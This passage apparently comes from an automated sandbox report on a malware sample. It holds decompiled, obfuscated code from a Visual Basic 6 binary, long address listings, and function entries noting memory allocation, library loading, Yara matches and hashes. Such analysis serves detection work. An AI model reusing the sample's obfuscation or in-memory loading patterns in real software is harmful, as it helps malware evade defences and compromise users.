				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t46 =  *_t46 ^ _t80;
				 *_t80 =  *_t80 + _t86;
				 *_t46 =  *_t46 | _t46;
				 *_t91 =  *_t91 ^ _t91;
				asm("cld");
				asm("loopne 0xffffffe2");
				asm("salc");
				asm("daa");
				_push(_t99);
				_push(ss);
				_push(_t80);
				asm("adc ebp, [eax-0x16]");
				asm("sbb eax, 0x7bcb1509");
				asm("rcl byte [ebx+0x7c], 1");
				asm("pushfd");
				asm("in al, dx");
				asm("invalid");
				asm("sahf");
				asm("sahf");
				asm("cli");
				 *(_t72 + 0xe430487) =  *(_t72 + 0xe430487) << 1;
				_pop(ds);
				_push(_t91);
				return  *[gs:0xf0c1d9b9];
			}

0x004016dc
0x004016dc
0x004016e1
0x004016e6
0x004016e8
0x004016ea
0x004016ec
0x004016ee
0x004016f2
0x004016f4
0x004016f6
0x004016f9
0x004016fa
0x004016fb
0x00401700
0x00401700
0x00401703
0x00401706
0x0040170d
0x0040170f
0x00401711
0x00401714
0x00401714
0x00401717
0x0040171a
0x0040171b
0x0040171c
0x0040171e
0x00401721
0x00401725
0x00401726
0x0040172a
0x0040172b
0x0040172c
0x0040172d
0x00401734
0x00401737
0x00401738
0x00401744
0x0040174a
0x0040174b
0x00401752
0x00401754
0x00401755
0x00401758
0x00401758
0x00401759
0x0040175b
0x0040175d
0x0040175f
0x00401761
0x00401763
0x00401765
0x00401767
0x00401769
0x0040176b
0x0040176d
0x0040176f
0x00401771
0x00401773
0x00401775
0x00401777
0x00401779
0x0040177b
0x0040177d
0x0040177e
0x00401780
0x00401783
0x00401785
0x00401787
0x00401787
0x0040178a
0x0040178b
0x0040178f
0x00401795
0x00401799
0x0040179a
0x0040179b
0x0040179d
0x0040179f
0x004017a0
0x004017a3
0x004017a6
0x004017a8
0x004017aa
0x004017ac
0x004017b2
0x004017b4
0x004017b6
0x004017b8
0x004017ba
0x004017bb
0x004017bc
0x004017be
0x004017bf
0x004017c2
0x004017c4
0x004017c6
0x004017c8
0x004017ce
0x00401803
0x00401803
0x00401804
0x00000000
0x00401807
0x00401807
0x00401808
0x0040180c
0x0040180e
0x00401810
0x00401812
0x00401812
0x00000000
0x00401812
0x004017d0
0x004017d0
0x004017d4
0x004017d5
0x004017d7
0x004017dc
0x004017e1
0x00401816
0x00401816
0x00401819
0x0040181a
0x0040181e
0x00401820
0x00401826
0x00000000
0x00401826
0x004017e3
0x004017e3
0x004017e5
0x004017ea
0x004017ec
0x004017ee
0x004017f3
0x00401827
0x00401827
0x00401827
0x0040182b
0x0040182d
0x00401831
0x00401833
0x00401835
0x00401837
0x00401839
0x0040183b
0x0040183c
0x0040183d
0x0040183e
0x0040183f
0x00401843
0x00401845
0x00401847
0x00401848
0x00401849
0x0040184a
0x0040184b
0x0040184c
0x00401850
0x00401852
0x00401854
0x00401859
0x0040185b
0x0040185d
0x0040185d
0x0040185e
0x00401860
0x00401862
0x00401867
0x00401868
0x00401869
0x0040186a
0x0040186b
0x0040186e
0x00401870
0x00401872
0x00401873
0x00401874
0x00401875
0x00401876
0x00401877
0x00401878
0x0040187b
0x0040187b
0x0040187d
0x0040187e
0x00401884
0x00401886
0x00401888
0x0040188a
0x0040188b
0x004017f5
0x004017f5
0x004017f9
0x004017fc
0x00401801
0x00401801
0x00000000
0x00401801
0x004017f3
0x004017e1
0x0040188d
0x0040188f
0x0040188f
0x00401892
0x00401895
0x00401896
0x00401897
0x0040189b
0x0040189c
0x004018a1
0x004018a2
0x004018a3
0x004018a4
0x004018a4
0x004018a7
0x004018a8
0x004018aa
0x004018ac
0x004018ad
0x004018af
0x004018af
0x004018b1
0x004018b7
0x004018b9
0x004018bf
0x004018c0
0x004018c2
0x004018c4
0x004018c6
0x004018c8
0x004018cb
0x004018cd
0x004018cf
0x004018d1
0x004018d3
0x004018d6
0x004018d8
0x004018da
0x004018dc
0x004018de
0x004018e0
0x004018e3
0x004018e5
0x004018e7
0x004018e9
0x004018eb
0x004018ed
0x004018ef
0x004018f1
0x004018f3
0x004018f5
0x004018f7
0x004018f9
0x004018fb
0x004018fd
0x004018fd
0x004018fe
0x00401900
0x00401902
0x00401904
0x00401906
0x00401908
0x0040190a
0x0040190c
0x0040190e
0x00401910
0x00401912
0x00401914
0x00401916
0x00401918
0x0040191a
0x0040191c
0x0040191e
0x00401920
0x00401922
0x00401924
0x00401926
0x00401928
0x0040192a
0x0040192c
0x0040192e
0x00401930
0x00401932
0x00401934
0x00401936
0x00401938
0x0040193a
0x0040193c
0x0040193e
0x00401940
0x00401942
0x00401944
0x00401946
0x00401948
0x0040194a
0x0040194c
0x0040194e
0x00401950
0x00401952
0x00401954
0x00401956
0x00401958
0x0040195a
0x0040195c
0x0040195e
0x00401960
0x00401962
0x00401964
0x00401966
0x00401968
0x0040196a
0x0040196c
0x0040196e
0x00401970
0x00401972
0x00401974
0x00401976
0x00401978
0x0040197a
0x0040197c
0x0040197e
0x00401980
0x00401982
0x00401984
0x00401986
0x00401988
0x0040198a
0x0040198c
0x0040198e
0x00401990
0x00401992
0x00401994
0x00401996
0x00401998
0x0040199a
0x0040199c
0x0040199e
0x004019a0
0x004019a2
0x004019a4
0x004019a6
0x004019a8
0x004019aa
0x004019ac
0x004019ae
0x004019b0
0x004019b2
0x004019b4
0x004019b6
0x004019b8
0x004019ba
0x004019bc
0x004019be
0x004019c0
0x004019c2
0x004019c4
0x004019c6
0x004019c8
0x004019ca
0x004019cc
0x004019ce
0x004019d0
0x004019d2
0x004019d4
0x004019d6
0x004019d8
0x004019da
0x004019dc
0x004019de
0x004019e0
0x004019e2
0x004019e4
0x004019e6
0x004019e8
0x004019ea
0x004019ec
0x004019ee
0x004019f0
0x004019f2
0x004019f4
0x004019f6
0x004019f8
0x004019fa
0x004019fc
0x004019fe
0x00401a00
0x00401a02
0x00401a04
0x00401a06
0x00401a08
0x00401a0a
0x00401a0c
0x00401a0e
0x00401a10
0x00401a12
0x00401a14
0x00401a16
0x00401a18
0x00401a1a
0x00401a1c
0x00401a1e
0x00401a20
0x00401a22
0x00401a24
0x00401a26
0x00401a28
0x00401a2a
0x00401a2c
0x00401a2e
0x00401a30
0x00401a32
0x00401a34
0x00401a36
0x00401a38
0x00401a3a
0x00401a3c
0x00401a3e
0x00401a40
0x00401a42
0x00401a44
0x00401a46
0x00401a48
0x00401a4a
0x00401a4c
0x00401a4e
0x00401a50
0x00401a52
0x00401a54
0x00401a56
0x00401a58
0x00401a5a
0x00401a5c
0x00401a5e
0x00401a60
0x00401a62
0x00401a64
0x00401a66
0x00401a68
0x00401a6a
0x00401a6c
0x00401a6e
0x00401a70
0x00401a72
0x00401a74
0x00401a76
0x00401a78
0x00401a7a
0x00401a7c
0x00401a7e
0x00401a80
0x00401a82
0x00401a84
0x00401a86
0x00401a88
0x00401a8a
0x00401a8c
0x00401a8e
0x00401a90
0x00401a92
0x00401a94
0x00401a96
0x00401a98
0x00401a9a
0x00401a9c
0x00401a9e
0x00401aa0
0x00401aa2
0x00401aa4
0x00401aa6
0x00401aa8
0x00401aaa
0x00401aac
0x00401aae
0x00401ab0
0x00401ab2
0x00401ab4
0x00401ab6
0x00401ab8
0x00401aba
0x00401abc
0x00401abe
0x00401ac0
0x00401ac2
0x00401ac4
0x00401ac6
0x00401ac8
0x00401aca
0x00401acc
0x00401ace
0x00401ad0
0x00401ad2
0x00401ad4
0x00401ad6
0x00401ad8
0x00401ada
0x00401adc
0x00401ade
0x00401ae0
0x00401ae2
0x00401ae4
0x00401ae6
0x00401ae8
0x00401aea
0x00401aec
0x00401aee
0x00401af0
0x00401af2
0x00401af4
0x00401af6
0x00401af8
0x00401afa
0x00401afc
0x00401afe
0x00401b00
0x00401b02
0x00401b04
0x00401b06
0x00401b08
0x00401b0a
0x00401b0c
0x00401b0e
0x00401b10
0x00401b12
0x00401b14
0x00401b16
0x00401b18
0x00401b1a
0x00401b1c
0x00401b1e
0x00401b20
0x00401b22
0x00401b24
0x00401b26
0x00401b28
0x00401b2a
0x00401b2c
0x00401b2e
0x00401b30
0x00401b32
0x00401b34
0x00401b36
0x00401b38
0x00401b3a
0x00401b3c
0x00401b3e
0x00401b40
0x00401b42
0x00401b44
0x00401b46
0x00401b48
0x00401b4a
0x00401b4c
0x00401b4e
0x00401b50
0x00401b52
0x00401b54
0x00401b56
0x00401b58
0x00401b5a
0x00401b5c
0x00401b5e
0x00401b60
0x00401b62
0x00401b64
0x00401b66
0x00401b68
0x00401b6a
0x00401b6c
0x00401b6e
0x00401b70
0x00401b72
0x00401b74
0x00401b76
0x00401b78
0x00401b7a
0x00401b7c
0x00401b7e
0x00401b80
0x00401b82
0x00401b84
0x00401b86
0x00401b88
0x00401b8a
0x00401b8c
0x00401b8e
0x00401b90
0x00401b92
0x00401b94
0x00401b96
0x00401b98
0x00401b9a
0x00401b9c
0x00401b9e
0x00401ba0
0x00401ba2
0x00401ba4
0x00401ba6
0x00401ba8
0x00401baa
0x00401bac
0x00401bae
0x00401bb0
0x00401bb2
0x00401bb4
0x00401bb6
0x00401bb8
0x00401bba
0x00401bbc
0x00401bbe
0x00401bc0
0x00401bc2
0x00401bc4
0x00401bc6
0x00401bc8
0x00401bca
0x00401bcc
0x00401bce
0x00401bd0
0x00401bd2
0x00401bd4
0x00401bd6
0x00401bd8
0x00401bda
0x00401bdc
0x00401bde
0x00401be0
0x00401be2
0x00401be4
0x00401be6
0x00401be8
0x00401bea
0x00401bec
0x00401bee
0x00401bf0
0x00401bf2
0x00401bf4
0x00401bf6
0x00401bf8
0x00401bf9
0x00401bfb
0x00401c02
0x00401c03
0x00401c09
0x00401c0a
0x00401c0b
0x00401c0e
0x00401c13
0x00401c20
0x00401c21
0x00401c22
0x00401c24
0x00401c25
0x00401c26
0x00401c31
0x00401c37
0x00401c38
0x00401c39

APIs

#100.MSVBVM60(00412020), ref: 004016E1

Memory Dump Source

Source File: 00000000.00000002.382597577.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.382580098.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.382611741.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.382620458.0000000000418000.00000002.00020000.sdmp Download File

Similarity

API ID: #100
String ID:
API String ID: 1341478452-0
Opcode ID: fd4d75ea7cf99fcf84cb6131e8f25968c9e1a0909cdc0418fe142c221850d778
Instruction ID: 49598d4a9ea9576d0c1a826c510a00ae4ef98b89d8edff418996c06737f10074
Opcode Fuzzy Hash: fd4d75ea7cf99fcf84cb6131e8f25968c9e1a0909cdc0418fe142c221850d778
Instruction Fuzzy Hash: 2A92817104F7C09FD38B5B78896A152BF70AE1722832E41EFC8C1CE1B3D269590AC722

Uniqueness

Uniqueness Score: -1.00%

Function 02A963ED, Relevance: 1.9, APIs: 1, Instructions: 368memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02A97B62: LoadLibraryA.KERNELBASE(697D6A7B), ref: 02A97C30

NtAllocateVirtualMemory.NTDLL ref: 02A9657C

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: AllocateLibraryLoadMemoryVirtual
String ID:
API String ID: 2616484454-0
Opcode ID: df99e669d70ff4dd4081026a1eedad154bd703977eb9b3fda6f58c362f4810a2
Instruction ID: 472c53b0a31703dc60ec418ec1053c064e82a6c60eeaaafc2f48ae0c95c582c3
Opcode Fuzzy Hash: df99e669d70ff4dd4081026a1eedad154bd703977eb9b3fda6f58c362f4810a2
Instruction Fuzzy Hash: 78E1AC71644289DFDF349F268D91BEE7AF6AF98740F45442EDD8A9B210EB304A44CB12

Uniqueness

Uniqueness Score: -1.00%

Function 02A96434, Relevance: 1.9, APIs: 1, Instructions: 352memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 02A9657C

Part of subcall function 02A97B62: LoadLibraryA.KERNELBASE(697D6A7B), ref: 02A97C30

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: AllocateLibraryLoadMemoryVirtual
String ID:
API String ID: 2616484454-0
Opcode ID: f175d172d963f80f2f9e6f2428af791eb2332737e3fb6228e99933b8f1e9a60d
Instruction ID: 388a951fc31329fd01891ad80b428a0168199b70b08dbe738704bc5200b192c8
Opcode Fuzzy Hash: f175d172d963f80f2f9e6f2428af791eb2332737e3fb6228e99933b8f1e9a60d
Instruction Fuzzy Hash: E1E1AA71644289DFCF349F26CD91BEE76F6AF98750F45442EDD8A9B250EB304A40CB12

Uniqueness

Uniqueness Score: -1.00%

Function 02A96534, Relevance: 1.8, APIs: 1, Instructions: 350memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 02A9657C

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 48a54d8fd9c7265e82da7629d6c97c283e958b7c5effc1f5121aed0dbbcf701c
Instruction ID: 7beaf7b997e207499cf06b219d87e1803780c9857f19045a254f3e754a293eb1
Opcode Fuzzy Hash: 48a54d8fd9c7265e82da7629d6c97c283e958b7c5effc1f5121aed0dbbcf701c
Instruction Fuzzy Hash: CDE19B7164438ADFCF349F26CD907EE76B6AF98750F45452EDD8A9B250EB304A40CB12

Uniqueness

Uniqueness Score: -1.00%

Function 02A9644E, Relevance: 1.8, APIs: 1, Instructions: 347memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 02A97B62: LoadLibraryA.KERNELBASE(697D6A7B), ref: 02A97C30

NtAllocateVirtualMemory.NTDLL ref: 02A9657C

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: AllocateLibraryLoadMemoryVirtual
String ID:
API String ID: 2616484454-0
Opcode ID: 3c965d3e9244299534551f9fca7efa97e23f7f244d302b1c0b1a2f17e984263c
Instruction ID: d3c43f9bb4964349a3be042a1eebd8f92e22f7afa9dd35959af775650b1390e7
Opcode Fuzzy Hash: 3c965d3e9244299534551f9fca7efa97e23f7f244d302b1c0b1a2f17e984263c
Instruction Fuzzy Hash: DEE19A7164428ADFDF349F26CD91BEE76F6AF98740F45442EDD8A9B210EB304A40CB12

Uniqueness

Uniqueness Score: -1.00%

Function 02A96497, Relevance: 1.8, APIs: 1, Instructions: 340memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 02A9657C

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: f5cde62dd0e7cbd1ac4d8802493ab8b3b3a80caa9dc0e3ae13b79f4f97d7421d
Instruction ID: 29763f51dc3d76d8c1efa873e9c0c0ec38f9ef876f1ec1bf7782b236bff4f5ba
Opcode Fuzzy Hash: f5cde62dd0e7cbd1ac4d8802493ab8b3b3a80caa9dc0e3ae13b79f4f97d7421d
Instruction Fuzzy Hash: 2CD1AA7164428ADFCF349F26CD91BEE76F6AF98740F45442EDD8A9B250EB304A40CB12

Uniqueness

Uniqueness Score: -1.00%

Function 02A964E6, Relevance: 1.8, APIs: 1, Instructions: 327memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL ref: 02A9657C

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 4631325e16dc97cefb07ea52ec6d415e4ddc3d413c89aa786a8707f5449702a9
Instruction ID: 218cc87078f8b5247ac7088089dc6c64ee485574867a43f7a3f6a1472551686d
Opcode Fuzzy Hash: 4631325e16dc97cefb07ea52ec6d415e4ddc3d413c89aa786a8707f5449702a9
Instruction Fuzzy Hash: 01D1BB7164428ADFCF349F26CD90BEE76F6AF98750F45442EDD8A9B250EB305A40CB12

Uniqueness

Uniqueness Score: -1.00%

Function 02A9128E, Relevance: 1.8, Strings: 1, Instructions: 556COMMON

Download Yara Rule

Strings

Af, xrefs: 02A914E5

Memory Dump Source

Source File: 00000000.00000002.383092369.0000000002A90000.00000040.00000001.sdmp, Offset: 02A90000, based on PE: false

Yara matches

Similarity

API ID:
String ID: Af
API String ID: 0-474539237
Opcode ID: aa3418361fdeca2bc92a65b6f6533ac0552f215fc9c37a20a9bc63763bf07107
Instruction ID: 9c2fdf4c4db5208a36688a90147f063d060722a4c8bc4b5bd656040a092dace5
Opcode Fuzzy Hash: aa3418361fdeca2bc92a65b6f6533ac0552f215fc9c37a20a9bc63763bf07107
